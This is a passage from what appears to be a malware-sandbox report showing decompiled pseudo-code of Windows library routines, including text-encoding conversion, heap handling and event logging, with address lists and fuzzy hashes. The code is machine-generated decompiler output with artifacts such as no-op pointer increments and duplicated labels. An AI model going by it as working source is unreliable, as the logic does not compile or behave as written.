				if(_t110 == 0) {
					if(_a12 == 0) {
						_t42 = 0xc000000d;
					} else {
						_t42 = L00DDED1A(_t98, _a20, _a12);
					}
					L19:
					return _t42;
				}
				_t43 = _a20;
				if((_t43 & 0x00000001) != 0) {
					_t42 = 0xc00000f3;
					goto L19;
				} else {
					_t102 = _t110;
					_t105 =  &(_t98[_t43 >> 1]);
					_v8 = _t105;
					_v12 = _a8 + _t110;
					L4:
					while(1) {
						L4:
						while(1) {
							L4:
							if(_t98 >= _t105) {
								if(_t87 == 0) {
									L17:
									_t106 = _v16;
									L18:
									_t42 = _t106;
									 *_a12 = _t102 - _a4;
									goto L19;
								}
								L8:
								_t13 = _t87 - 0xd800; // -55295
								if(_t13 <= 0x7ff) {
									_v16 = 0x107;
									_t87 = 0xfffd;
								}
								_t113 = 1;
								if(_t87 > 0x7f) {
									if(_t87 > 0x7ff) {
										if(_t87 > 0xffff) {
											_t113 = 2;
										}
										_t113 = _t113 + 1;
									}
									_t113 = _t113 + 1;
								}
								if(_t102 > _v12 - _t113) {
									_t106 = 0xc0000023;
									goto L18;
								} else {
									if(_t87 > 0x7f) {
										_t50 = _t87;
										if(_t87 > 0x7ff) {
											if(_t87 > 0xffff) {
												 *_t102 = _t50 >> 0x00000012 | 0x000000f0;
												_t102 =  &(_t102[0]);
												_t56 = _t87 >> 0x0000000c & 0x0000003f | 0x00000080;
											} else {
												_t56 = _t50 >> 0x0000000c | 0x000000e0;
											}
											 *_t102 = _t56;
											_t102 =  &(_t102[0]);
											_t60 = _t87 >> 0x00000006 & 0x0000003f | 0x00000080;
										} else {
											_t60 = _t50 >> 0x00000006 | 0x000000c0;
										}
										 *_t102 = _t60;
										_t102 =  &(_t102[0]);
										_t87 = _t87 & 0x0000003f | 0x00000080;
									}
									 *_t102 = _t87;
									_t102 =  &(_t102[0]);
									_t63 = _t105 - _t98 >> 1;
									_t115 = _v12 - _t102;
									if(_t63 > 0xd) {
										if(_t115 < _t63) {
											_t63 = _t115;
										}
										_t22 = _t63 - 5; // -5
										_t117 =  &(_t98[_t22]);
										if(_t98 < _t117) {
											do {
												_t91 =  *_t98 & 0x0000ffff;
												_t100 =  &(_t98[1]);
												if(_t91 > 0x7f) {
													L58:
													if(_t91 > 0x7ff) {
														_t38 = _t91 - 0xd800; // -55296
														if(_t38 <= 0x7ff) {
															if(_t91 > 0xdbff) {
																_t98 = _t100 - 2;
																break;
															}
															_t108 =  *_t100 & 0x0000ffff;
															_t98 = _t100 + 2;
															_t39 = _t108 - 0xdc00; // -54273
															if(_t39 > 0x3ff) {
																_t98 = _t98 - 4;
																break;
															}
															_t91 = (_t91 << 0xa) + 0xfca02400 + _t108;
															 *_t102 = _t91 >> 0x00000012 | 0x000000f0;
															_t102 =  &(_t102[0]);
															_t73 = _t91 & 0x0003f000 | 0x00080000;
															L65:
															_t117 = _t117 - 2;
															 *_t102 = _t73 >> 0xc;
															_t102 =  &(_t102[0]);
															_t77 = _t91 & 0x00000fc0 | 0x00002000;
															L66:
															 *_t102 = _t77 >> 6;
															_t117 = _t117 - 2;
															_t102[0] = _t91 & 0x0000003f | 0x00000080;
															_t102 =  &(_t102[0]);
															goto L30;
														}
														_t73 = _t91 | 0x000e0000;
														goto L65;
													}
													_t77 = _t91 | 0x00003000;
													goto L66;
												}
												 *_t102 = _t91;
												_t102 =  &(_t102[0]);
												if((_t100 & 0x00000002) != 0) {
													_t91 =  *_t100 & 0x0000ffff;
													_t100 = _t100 + 2;
													if(_t91 > 0x7f) {
														goto L58;
													}
													 *_t102 = _t91;
													_t102 =  &(_t102[0]);
												}
												if(_t100 >= _t117) {
													break;
												} else {
													goto L28;
												}
												while(1) {
													L28:
													_t80 =  *(_t100 + 4);
													_t96 =  *_t100;
													_v20 = _t80;
													if(((_t80 | _t96) & 0xff80ff80) != 0) {
														break;
													}
													_t82 = _v20;
													_t100 = _t100 + 8;
													 *_t102 = _t96;
													_t102[0] = _t82;
													_t102[0] = _t96 >> 0x10;
													_t102[0] = _t82 >> 0x10;
													_t102 =  &(_t102[1]);
													if(_t100 < _t117) {
														continue;
													}
													goto L30;
												}
												_t91 = _t96 & 0x0000ffff;
												_t100 = _t100 + 2;
												if(_t91 > 0x7f) {
													goto L58;
												}
												 *_t102 = _t91;
												_t102 =  &(_t102[0]);
												L30:
											} while (_t98 < _t117);
											_t105 = _v8;
										}
										goto L32;
									} else {
										if(_t115 < _t63) {
											L32:
											_t87 = 0;
											continue;
										}
										while(_t98 < _t105) {
											_t87 =  *_t98 & 0x0000ffff;
											_t98 =  &(_t98[1]);
											if(_t87 > 0x7f) {
												L7:
												_t12 = _t87 - 0xd800; // -55290
												if(_t12 <= 0x3ff) {
													goto L4;
												}
												goto L8;
											}
											 *_t102 = _t87;
											_t102 =  &(_t102[0]);
										}
										goto L17;
									}
								}
							}
							_t118 =  *_t98 & 0x0000ffff;
							if(_t87 != 0) {
								_t36 = _t118 - 0xdc00; // -56314
								if(_t36 <= 0x3ff) {
									_t87 = (_t87 << 0xa) + 0xfca02400 + _t118;
									_t98 =  &(_t98[1]);
								}
								goto L8;
							}
							_t87 = _t118;
							_t98 =  &(_t98[1]);
							goto L7;
						}
					}
				}
			}

0x00ddebb8
0x00ddebbf
0x00ddebc1
0x00ddebc6
0x00000000
0x00e1b6d6
0x00ddebcd
0x00ddebd2
0x00ddec95
0x00e1b6e0
0x00ddec9b
0x00ddeca1
0x00ddeca1
0x00ddec89
0x00000000
0x00ddec89
0x00ddebd8
0x00ddebdd
0x00e1b6ea
0x00000000
0x00ddebe3
0x00ddebe5
0x00ddebe7
0x00ddebef
0x00ddebf2
0x00000000
0x00ddebf5
0x00000000
0x00ddebf5
0x00ddebf5
0x00ddebf7
0x00e1b6f6
0x00ddec7c
0x00ddec7c
0x00ddec7f
0x00ddec82
0x00ddec87
0x00000000
0x00ddec87
0x00ddec1a
0x00ddec1a
0x00ddec25
0x00e1b725
0x00e1b72c
0x00e1b72c
0x00ddec2d
0x00ddec31
0x00e1b73c
0x00e1b744
0x00e1b748
0x00e1b748
0x00e1b749
0x00e1b749
0x00e1b74a
0x00e1b74a
0x00ddec3e
0x00e1b860
0x00000000
0x00ddec44
0x00ddec47
0x00e1b750
0x00e1b758
0x00e1b767
0x00e1b775
0x00e1b77c
0x00e1b77f
0x00e1b769
0x00e1b76c
0x00e1b76c
0x00e1b781
0x00e1b788
0x00e1b78b
0x00e1b75a
0x00e1b75d
0x00e1b75d
0x00e1b78d
0x00e1b792
0x00e1b793
0x00e1b793
0x00ddec54
0x00ddec56
0x00ddec57
0x00ddec59
0x00ddec5e
0x00ddecaa
0x00dded16
0x00dded16
0x00ddecac
0x00ddecaf
0x00ddecb4
0x00ddecb6
0x00ddecb6
0x00ddecb9
0x00ddecbf
0x00e1b7c1
0x00e1b7c8
0x00e1b7d3
0x00e1b7db
0x00e1b7ec
0x00e1b858
0x00000000
0x00e1b858
0x00e1b7ee
0x00e1b7f1
0x00e1b7f4
0x00e1b7ff
0x00e1b850
0x00000000
0x00e1b850
0x00e1b80a
0x00e1b813
0x00e1b81c
0x00e1b81d
0x00e1b822
0x00e1b825
0x00e1b828
0x00e1b831
0x00e1b832
0x00e1b837
0x00e1b840
0x00e1b842
0x00e1b845
0x00e1b848
0x00000000
0x00e1b848
0x00e1b7df
0x00000000
0x00e1b7df
0x00e1b7cc
0x00000000
0x00e1b7cc
0x00ddecc5
0x00ddecc7
0x00ddeccb
0x00e1b79b
0x00e1b79e
0x00e1b7a4
0x00000000
0x00000000
0x00e1b7a6
0x00e1b7a8
0x00e1b7a8
0x00ddecd3
0x00000000
0x00000000
0x00000000
0x00000000
0x00ddecd5
0x00ddecd5
0x00ddecd5
0x00ddecd8
0x00ddecda
0x00ddece4
0x00000000
0x00000000
0x00ddecea
0x00ddeced
0x00ddecf0
0x00ddecf2
0x00ddecfb
0x00ddecfe
0x00dded01
0x00dded06
0x00000000
0x00000000
0x00000000
0x00dded06
0x00e1b7ae
0x00e1b7b1
0x00e1b7b7
0x00000000
0x00000000
0x00e1b7b9
0x00e1b7bb
0x00dded08
0x00dded08
0x00dded0c
0x00dded0c
0x00000000
0x00ddec60
0x00ddec62
0x00dded0f
0x00dded0f
0x00000000
0x00dded0f
0x00ddec68
0x00ddec6c
0x00ddec6f
0x00ddec75
0x00ddec0d
0x00ddec0d
0x00ddec18
0x00000000
0x00000000
0x00000000
0x00ddec18
0x00ddec77
0x00ddec79
0x00ddec79
0x00000000
0x00ddec68
0x00ddec5e
0x00ddec3e
0x00ddebfd
0x00ddec02
0x00e1b701
0x00e1b70c
0x00e1b71b
0x00e1b71d
0x00e1b71d
0x00000000
0x00e1b70c
0x00ddec08
0x00ddec0a
0x00000000
0x00ddec0a
0x00ddebf5
0x00ddebf5

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fa993315481d34d861e67938bc03e7c42d4ca2921a7b7b75938bf6aa423f69f
Instruction ID: 507ff1cef618f168072c43e8a9f074e98dea206ad76671c87aead7405bfbf52c
Opcode Fuzzy Hash: 9fa993315481d34d861e67938bc03e7c42d4ca2921a7b7b75938bf6aa423f69f
Instruction Fuzzy Hash: 6C813832A542568BEB256E6CC4C02FDBB55EF52704B38467BD882DF381C325DC86E7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00E6DBD2 Relevance: .2, Instructions: 212
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E00E6DBD2(intOrPtr* __ecx, unsigned int __edx, intOrPtr _a4, intOrPtr _a8) {
				char _v5;
				signed short _v12;
				unsigned int _v16;
				intOrPtr* _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				signed short _v40;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int* _t75;
				signed short _t77;
				intOrPtr _t78;
				signed int _t92;
				signed int _t98;
				signed int _t99;
				signed short _t105;
				unsigned int _t108;
				void* _t112;
				unsigned int _t119;
				signed int _t124;
				intOrPtr _t137;
				signed char _t139;
				signed int _t140;
				unsigned int _t141;
				signed char _t142;
				intOrPtr _t152;
				signed int _t153;
				signed int _t158;
				signed int _t159;
				intOrPtr _t172;
				signed int _t176;
				signed int _t178;
				signed short _t182;
				intOrPtr _t183;

				_t119 = __edx;
				_v20 = __ecx;
				_t152 = _a4;
				_t172 = 0;
				_t182 = __edx >> 0x0000000c ^  *(__edx + 0x18) ^  *0xe96114;
				_v16 = __edx;
				_v36 = 0;
				_v5 = 0xff;
				_v40 = _t182;
				_v24 = _t182 >> 0x10;
				if(_t152 == 0) {
					L14:
					_t124 =  *(_t119 + 0x12) & 0x0000ffff;
					_v24 = _t124;
					_t183 = _v36;
					_t53 = _t119 + 0x10; // 0x10
					_t75 = _t53;
					_v28 = _t75;
					_t77 =  *_t75 & 0x0000ffff;
					_v12 = _t77;
					L15:
					while(1) {
						if(_t183 != 0) {
							L20:
							_t153 = _t77 + 0x00000001 & 0x0000ffff;
							asm("lock cmpxchg [ebx], cx");
							_t119 = _v16;
							_t77 = _t77 & 0x0000ffff;
							_v12 = _t77;
							if(_t153 == (_t77 & 0x0000ffff) + 1) {
								if(_t77 == 0) {
									_t78 = _t172;
									L27:
									_t119 = E00E6D016(_t119, _t183, _t119, _t78);
									L00DBFFB0(_t119, _t172, _t183 + 8);
									_t183 = _t172;
									if(_t119 != 0) {
										L00E6C52D(_v20,  *((intOrPtr*)(_v20 + 0x78 + ( *(((_v40 & 0x0000ffff) + 7 >> 3) + 0xd8aff8) & 0x000000ff) * 4)), _t119, _a8);
									}
									L29:
									_t172 = 1;
									if(_t183 != 0) {
										_t72 = _t183 + 8; // 0x8
										L00DBFFB0(_t119, 1, _t72);
									}
									L31:
									return _t172;
								}
								if((_t77 & 0x0000ffff) != _v24 - 1) {
									goto L29;
								}
								_t78 = 2;
								goto L27;
							}
							_t124 = _v24;
							continue;
						}
						if(_t77 == 0 || (_t77 & 0x0000ffff) == _t124 - 1) {
							_t183 = E00E6E018(_t119,  &_v5);
							if(_t183 == 0) {
								_t172 = 1;
								goto L31;
							}
							goto L19;
						} else {
							L19:
							_t77 = _v12;
							goto L20;
						}
					}
				}
				_t92 = _t182 & 0x0000ffff;
				_v28 = _t92;
				_t137 =  *((intOrPtr*)(__ecx + 0x78 + ( *((_t92 + 7 >> 3) + 0xd8aff8) & 0x000000ff) * 4));
				_t98 =  *((intOrPtr*)(_t137 + 0x24));
				_t158 = _t152 - (_v24 & 0x0000ffff) - __edx;
				_v24 = _t98;
				_t99 = _t158;
				_v32 = _t158;
				_t139 =  *(_t137 + 0x28) & 0x000000ff;
				if(_t98 == 0) {
					_v12 = _t99 >> _t139;
					_t159 = _t158 & (1 << _t139) - 0x00000001;
					_t105 = _v12;
				} else {
					_t105 = E00DED340(_t99 * _v24, _t139, _t99 * _v24 >> 0x20);
					_v12 = _t105;
					_t159 = _v32 - _v28 * _t105;
				}
				if(_t159 == 0) {
					_t140 =  *(_t119 + 0x14) & 0x0000ffff;
					if(_t140 >= _t105) {
						_t140 = _t105 & 0x0000ffff;
					}
					 *(_t119 + 0x14) = _t140;
					_t141 = _t105 + _t105;
					_t142 = _t141 & 0x0000001f;
					_t176 = 3;
					_t178 =  !(_t176 << _t142);
					_t108 =  *(_t119 + (_t141 >> 5) * 4 + 0x20);
					do {
						asm("lock cmpxchg [ebx], edx");
					} while ((_t108 & _t178) != 0);
					if((_t108 >> _t142 & 0x00000001) != 0) {
						_t119 = _v16;
						_t172 = 0;
						if( *((char*)(_t119 + 0x1d)) > 1) {
							_t112 = E00E6D864(_t119, _a4 - _t119, _t182 & 0x0000ffff, 0,  &_v32);
							_t184 = _t112;
							if(_t112 != 0xffffffff) {
								asm("lock xadd [ecx], edx");
								E00E6D8DF(_v20, _t119, _t184, 2, _a8);
							}
						}
						goto L14;
					}
					_push(_t142);
					_push(_v12);
					E00E6A80D( *_v20, 0x11, _a4, _v16);
					_t172 = 0;
				}
			}

0x00e6dbdc
0x00e6dbde
0x00e6dbe1
0x00e6dbed
0x00e6dbef
0x00e6dbf7
0x00e6dbfd
0x00e6dc00
0x00e6dc04
0x00e6dc07
0x00e6dc0c
0x00e6dd1f
0x00e6dd1f
0x00e6dd23
0x00e6dd26
0x00e6dd29
0x00e6dd29
0x00e6dd2c
0x00e6dd32
0x00e6dd35
0x00000000
0x00e6dd38
0x00e6dd3a
0x00e6dd5d
0x00e6dd63
0x00e6dd69
0x00e6dd6e
0x00e6dd71
0x00e6dd78
0x00e6dd7d
0x00e6dd8c
0x00e6dd9e
0x00e6dda0
0x00e6ddad
0x00e6ddb0
0x00e6ddb5
0x00e6ddb9
0x00e6ddd9
0x00e6ddd9
0x00e6ddde
0x00e6dde0
0x00e6dde3
0x00e6dde5
0x00e6dde9
0x00e6dde9
0x00e6ddee
0x00e6ddf6
0x00e6ddf6
0x00e6dd97
0x00000000
0x00000000
0x00e6dd9b
0x00000000
0x00e6dd9b
0x00e6dd7f
0x00000000
0x00e6dd7f
0x00e6dd3f
0x00e6dd54
0x00e6dd58
0x00e6dd86
0x00000000
0x00e6dd86
0x00000000
0x00e6dd5a
0x00e6dd5a
0x00e6dd5a
0x00000000
0x00e6dd5a
0x00e6dd3f
0x00e6dd38
0x00e6dc12
0x00e6dc15
0x00e6dc25
0x00e6dc31
0x00e6dc34
0x00e6dc3b
0x00e6dc3e
0x00e6dc40
0x00e6dc43
0x00e6dc46
0x00e6dc62
0x00e6dc6b
0x00e6dc6d
0x00e6dc48
0x00e6dc4b
0x00e6dc59
0x00e6dc5c
0x00e6dc5c
0x00e6dc72
0x00e6dc78
0x00e6dc7f
0x00e6dc81
0x00e6dc81
0x00e6dc84
0x00e6dc88
0x00e6dc8d
0x00e6dc95
0x00e6dc9b
0x00e6dca0
0x00e6dca2
0x00e6dca6
0x00e6dca6
0x00e6dcb0
0x00e6dcd1
0x00e6dcd4
0x00e6dcda
0x00e6dcec
0x00e6dcf1
0x00e6dcf6
0x00e6dd0c
0x00e6dd1a
0x00e6dd1a
0x00e6dcf6
0x00000000
0x00e6dcda
0x00e6dcb5
0x00e6dcb6
0x00e6dcc5
0x00e6dcca
0x00e6dcca

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96742097f40bb327399cbca00affeb3f3270c6fe27bbc90f1e04c22934992d66
Instruction ID: e398cedfcfe63cd06cb7692345ccb76f1c0f78bc0e91fed301223461f338da42
Opcode Fuzzy Hash: 96742097f40bb327399cbca00affeb3f3270c6fe27bbc90f1e04c22934992d66
Instruction Fuzzy Hash: 67710171F041299BCB14EF69D880ABEB7F5EF88354B544269E855EB381DA34CD02CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00E3B8D0 Relevance: .2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E00E3B8D0(void* __edx, intOrPtr _a4, intOrPtr _a8, signed char _a12, signed int** _a16) {
				char _v8;
				signed int _v12;
				signed int _t80;
				signed int _t83;
				intOrPtr _t89;
				signed int _t92;
				signed char _t106;
				signed int* _t107;
				intOrPtr _t108;
				intOrPtr _t109;
				signed int _t114;
				void* _t115;
				void* _t117;
				void* _t119;
				void* _t122;
				signed int _t123;
				signed int* _t124;

				_t106 = _a12;
				if((_t106 & 0xfffffffc) != 0) {
					return 0xc000000d;
				}
				if((_t106 & 0x00000002) != 0) {
					_t106 = _t106 | 0x00000001;
				}
				_t109 =  *0xe97b9c; // 0x0
				_t124 = L00DC4620(_t109 + 0x140000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t109 + 0x140000, 0x424 + (_a8 - 1) * 0xc);
				if(_t124 != 0) {
					 *_t124 =  *_t124 & 0x00000000;
					_t124[1] = _t124[1] & 0x00000000;
					_t124[4] = _t124[4] & 0x00000000;
					if( *((intOrPtr*)( *[fs:0x18] + 0xf9c)) == 0) {
						L13:
						_push(_t124);
						if((_t106 & 0x00000002) != 0) {
							_push(0x200);
							_push(0x28);
							_push(0xffffffff);
							_t122 = E00DE9800();
							if(_t122 < 0) {
								L33:
								if((_t124[4] & 0x00000001) != 0) {
									_push(4);
									_t64 =  &(_t124[1]); // 0x4
									_t107 = _t64;
									_push(_t107);
									_push(5);
									_push(0xfffffffe);
									L00DE95B0();
									if( *_t107 != 0) {
										_push( *_t107);
										E00DE95D0();
									}
								}
								_push(_t124);
								_push(0);
								_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
								L37:
								L00DC77F0();
								return _t122;
							}
							_t124[4] = _t124[4] | 0x00000002;
							L18:
							_t108 = _a8;
							_t29 =  &(_t124[0x105]); // 0x414
							_t80 = _t29;
							_t30 =  &(_t124[5]); // 0x14
							_t124[3] = _t80;
							_t123 = 0;
							_t124[2] = _t30;
							 *_t80 = _t108;
							if(_t108 == 0) {
								L21:
								_t112 = 0x400;
								_push( &_v8);
								_v8 = 0x400;
								_push(_t124[2]);
								_push(0x400);
								_push(_t124[3]);
								_push(0);
								_push( *_t124);
								_t122 = E00DE9910();
								if(_t122 != 0xc0000023) {
									L26:
									if(_t122 != 0x106) {
										L40:
										if(_t122 < 0) {
											L29:
											_t83 = _t124[2];
											if(_t83 != 0) {
												_t59 =  &(_t124[5]); // 0x14
												if(_t83 != _t59) {
													L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t83);
												}
											}
											_push( *_t124);
											E00DE95D0();
											goto L33;
										}
										 *_a16 = _t124;
										return 0;
									}
									if(_t108 != 1) {
										_t122 = 0;
										goto L40;
									}
									_t122 = 0xc0000061;
									goto L29;
								} else {
									goto L22;
								}
								while(1) {
									L22:
									_t89 =  *0xe97b9c; // 0x0
									_t92 = L00DC4620(_t112,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t89 + 0x140000, _v8);
									_t124[2] = _t92;
									if(_t92 == 0) {
										break;
									}
									_t112 =  &_v8;
									_push( &_v8);
									_push(_t92);
									_push(_v8);
									_push(_t124[3]);
									_push(0);
									_push( *_t124);
									_t122 = E00DE9910();
									if(_t122 != 0xc0000023) {
										goto L26;
									}
									L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t124[2]);
								}
								_t122 = 0xc0000017;
								goto L26;
							}
							_t119 = 0;
							do {
								_t114 = _t124[3];
								_t119 = _t119 + 0xc;
								 *((intOrPtr*)(_t114 + _t119 - 8)) =  *((intOrPtr*)(_a4 + _t123 * 4));
								 *(_t114 + _t119 - 4) =  *(_t114 + _t119 - 4) & 0x00000000;
								_t123 = _t123 + 1;
								 *((intOrPtr*)(_t124[3] + _t119)) = 2;
							} while (_t123 < _t108);
							goto L21;
						}
						_push(0x28);
						_push(3);
						_t122 = L00DAA7B0();
						if(_t122 < 0) {
							goto L33;
						}
						_t124[4] = _t124[4] | 0x00000001;
						goto L18;
					}
					if((_t106 & 0x00000001) == 0) {
						_t115 = 0x28;
						_t122 = L00E3E7D3(_t115, _t124);
						if(_t122 < 0) {
							L9:
							_push(_t124);
							_push(0);
							_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
							goto L37;
						}
						L12:
						if( *_t124 != 0) {
							goto L18;
						}
						goto L13;
					}
					_t15 =  &(_t124[1]); // 0x4
					_t117 = 4;
					_t122 = L00E3E7D3(_t117, _t15);
					if(_t122 >= 0) {
						_t124[4] = _t124[4] | 0x00000001;
						_v12 = _v12 & 0x00000000;
						_push(4);
						_push( &_v12);
						_push(5);
						_push(0xfffffffe);
						L00DE95B0();
						goto L12;
					}
					goto L9;
				} else {
					return 0xc0000017;
				}
			}

0x00e3b8d9
0x00e3b8e4
0x00000000
0x00e3b8e6
0x00e3b8f3
0x00e3b8f5
0x00e3b8f5
0x00e3b8f8
0x00e3b920
0x00e3b924
0x00e3b936
0x00e3b939
0x00e3b93d
0x00e3b948
0x00e3b9a0
0x00e3b9a0
0x00e3b9a4
0x00e3b9bf
0x00e3b9c4
0x00e3b9c6
0x00e3b9cd
0x00e3b9d1
0x00e3bad4
0x00e3bad8
0x00e3bada
0x00e3badc
0x00e3badc
0x00e3badf
0x00e3bae0
0x00e3bae2
0x00e3bae4
0x00e3baec
0x00e3baee
0x00e3baf0
0x00e3baf0
0x00e3baec
0x00e3bafb
0x00e3bafc
0x00e3bafe
0x00e3bb01
0x00e3bb01
0x00000000
0x00e3bb06
0x00e3b9d7
0x00e3b9db
0x00e3b9db
0x00e3b9de
0x00e3b9de
0x00e3b9e4
0x00e3b9e7
0x00e3b9ea
0x00e3b9ec
0x00e3b9ef
0x00e3b9f3
0x00e3ba1b
0x00e3ba1b
0x00e3ba23
0x00e3ba24
0x00e3ba27
0x00e3ba2a
0x00e3ba2b
0x00e3ba2e
0x00e3ba30
0x00e3ba37
0x00e3ba3f
0x00e3ba9c
0x00e3baa2
0x00e3bb13
0x00e3bb15
0x00e3baae
0x00e3baae
0x00e3bab3
0x00e3bab5
0x00e3baba
0x00e3bac8
0x00e3bac8
0x00e3baba
0x00e3bacd
0x00e3bacf
0x00000000
0x00e3bacf
0x00e3bb1a
0x00000000
0x00e3bb1c
0x00e3baa7
0x00e3bb11
0x00000000
0x00e3bb11
0x00e3baa9
0x00000000
0x00000000
0x00000000
0x00000000
0x00e3ba41
0x00e3ba41
0x00e3ba41
0x00e3ba58
0x00e3ba5d
0x00e3ba62
0x00000000
0x00000000
0x00e3ba64
0x00e3ba67
0x00e3ba68
0x00e3ba69
0x00e3ba6c
0x00e3ba6f
0x00e3ba71
0x00e3ba78
0x00e3ba80
0x00000000
0x00000000
0x00e3ba90
0x00e3ba90
0x00e3ba97
0x00000000
0x00e3ba97
0x00e3b9f5
0x00e3b9f7
0x00e3b9f7
0x00e3b9fa
0x00e3ba03
0x00e3ba07
0x00e3ba0c
0x00e3ba10
0x00e3ba17
0x00000000
0x00e3b9f7
0x00e3b9a6
0x00e3b9a8
0x00e3b9af
0x00e3b9b3
0x00000000
0x00000000
0x00e3b9b9
0x00000000
0x00e3b9b9
0x00e3b94d
0x00e3b98f
0x00e3b995
0x00e3b999
0x00e3b960
0x00e3b967
0x00e3b968
0x00e3b96a
0x00000000
0x00e3b96a
0x00e3b99b
0x00e3b99e
0x00000000
0x00000000
0x00000000
0x00e3b99e
0x00e3b951
0x00e3b954
0x00e3b95a
0x00e3b95e
0x00e3b972
0x00e3b979
0x00e3b97d
0x00e3b97f
0x00e3b980
0x00e3b982
0x00e3b984
0x00000000
0x00e3b984
0x00000000
0x00e3b926
0x00000000
0x00e3b926

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8c69ac8e0b9c3068f1b34e15b31bdcc617cb6c4a8c0fd07216d42c0212c5903
Instruction ID: 01d8912b89c4b519fca8084b57cd7fe9c4ed9cd1137c80e12d874c3816e68705
Opcode Fuzzy Hash: f8c69ac8e0b9c3068f1b34e15b31bdcc617cb6c4a8c0fd07216d42c0212c5903
Instruction Fuzzy Hash: B3710E32200B05AFD732DF15CC49F66BBE5EF84724F214928E756AB2A1DB71E940CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00E26DC9 Relevance: .2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00E26DC9(signed int __ecx, void* __edx) {
				unsigned int _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				void* _t87;
				void* _t95;
				signed char* _t96;
				signed int _t107;
				signed int _t136;
				signed char* _t137;
				void* _t157;
				void* _t161;
				void* _t167;
				intOrPtr _t168;
				void* _t174;
				void* _t175;
				signed int _t176;
				void* _t177;

				_t136 = __ecx;
				_v44 = 0;
				_t167 = __edx;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v60 = 0;
				_v56 = 0;
				_v52 = 0;
				_v48 = 0;
				_v16 = __ecx;
				_t87 = L00DC4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0x248);
				_t175 = _t87;
				if(_t175 != 0) {
					_t11 = _t175 + 0x30; // 0x30
					 *((short*)(_t175 + 6)) = 0x14d4;
					 *((intOrPtr*)(_t175 + 0x20)) =  *((intOrPtr*)(_t167 + 0x10));
					 *((intOrPtr*)(_t175 + 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t167 + 8)) + 0xc));
					 *((intOrPtr*)(_t175 + 0x28)) = _t136;
					 *((intOrPtr*)(_t175 + 0x2c)) =  *((intOrPtr*)(_t167 + 0x14));
					E00E26B4C(_t167, _t11, 0x214,  &_v8);
					_v12 = _v8 + 0x10;
					_t95 = L00DC7D50();
					_t137 = 0x7ffe0384;
					if(_t95 == 0) {
						_t96 = 0x7ffe0384;
					} else {
						_t96 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t175);
					_push(_v12);
					_push(0x402);
					_push( *_t96 & 0x000000ff);
					E00DE9AE0();
					_t87 = L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t175);
					_t176 = _v16;
					if((_t176 & 0x00000100) != 0) {
						_push( &_v36);
						_t157 = 4;
						_t87 = E00E2795D( *((intOrPtr*)(_t167 + 8)), _t157);
						if(_t87 >= 0) {
							_v24 = E00E2795D( *((intOrPtr*)(_t167 + 8)), 1,  &_v44);
							_v28 = E00E2795D( *((intOrPtr*)(_t167 + 8)), 0,  &_v60);
							_push( &_v52);
							_t161 = 5;
							_t168 = E00E2795D( *((intOrPtr*)(_t167 + 8)), _t161);
							_v20 = _t168;
							_t107 = L00DC4620( *[fs:0x30],  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0xca0);
							_v16 = _t107;
							if(_t107 != 0) {
								_v8 = _v8 & 0x00000000;
								 *(_t107 + 0x20) = _t176;
								 *((short*)(_t107 + 6)) = 0x14d5;
								_t47 = _t107 + 0x24; // 0x24
								_t177 = _t47;
								E00E26B4C( &_v36, _t177, 0xc78,  &_v8);
								_t51 = _v8 + 4; // 0x4
								_t178 = _t177 + (_v8 >> 1) * 2;
								_v12 = _t51;
								E00E26B4C( &_v44, _t177 + (_v8 >> 1) * 2, 0xc78,  &_v8);
								_v12 = _v12 + _v8;
								E00E26B4C( &_v60, _t178 + (_v8 >> 1) * 2, 0xc78,  &_v8);
								_t125 = _v8;
								_v12 = _v12 + _v8;
								E00E26B4C( &_v52, _t178 + (_v8 >> 1) * 2 + (_v8 >> 1) * 2, 0xc78 - _v8 - _v8 - _t125,  &_v8);
								_t174 = _v12 + _v8;
								if(L00DC7D50() != 0) {
									_t137 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
								}
								_push(_v16);
								_push(_t174);
								_push(0x402);
								_push( *_t137 & 0x000000ff);
								E00DE9AE0();
								L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v16);
								_t168 = _v20;
							}
							_t87 = L00DC2400( &_v36);
							if(_v24 >= 0) {
								_t87 = L00DC2400( &_v44);
							}
							if(_t168 >= 0) {
								_t87 = L00DC2400( &_v52);
							}
							if(_v28 >= 0) {
								return L00DC2400( &_v60);
